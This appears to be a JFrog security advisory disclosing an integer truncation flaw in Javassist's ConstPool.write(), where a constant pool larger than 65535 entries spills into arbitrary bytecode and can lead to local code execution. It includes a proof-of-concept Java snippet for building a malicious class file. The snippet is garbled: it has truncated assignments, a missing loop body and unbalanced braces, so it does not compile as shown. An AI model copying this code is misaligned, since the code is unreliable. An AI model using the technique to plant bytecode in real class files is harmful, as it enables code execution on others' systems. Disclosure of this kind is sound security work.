JFrog Security Research

- Javassist local code execution

| CVSS 6.4

JFrog Severity:low

Published 11 Aug. 2022 | Last updated 11 Aug. 2022

Integer truncation in Javassist leads to local code execution


Javassist (,3.29.1)

The issue lies in the write() function of the ConstPool object. When writing the ConstPool into a class file, the length field is written as a short integer, but the numOfItems Variable is not checked to see if it is bigger than the maximum value of short (65535). If we try to write a class file with a ConstPool bigger than 65535, the elements from position 65535 onwards wouldn’t be considered as part of the ConstPool, and will be interpreted as arbitrary bytecode. An attacker that can insert arbitrary integers into a classfile, could use this to insert malicious bytecode to the class, for example a constructor which will cause code execution when the class file is loaded

import javassist.NotFoundException; 
import javassist.bytecode.ClassFile; 
import javassist.bytecode.ConstPool; 
import java.io.DataOutputStream; 
import java.io.File;

import java.io.FileOutputStream; 
import java.io.IOException; 
public class JavassistIntTruncationExample 
    public static void main(String argv[]) throws IOException, NotFoundException { 
        File yourFile = new File("malicious.class"); 
        FileOutputStream oFile = new FileOutputStream(yourFile, false); DataOutputStream stream = new DataOutputStream(oFile); 
        ClassFile clazz_file_before_write = new 
        ConstPool pool_before_write = 
        // Adding enough ints to cause integer truncation 
        for(int i = 0; i< 65527; i++) { 
        // BUG: This integer will be added as arbitrary bytecode! 
        System.out.println("Constpool size" + pool_before_write.getSize()); clazz_file_before_write.write(stream); 

No mitigations are supplied for this issue

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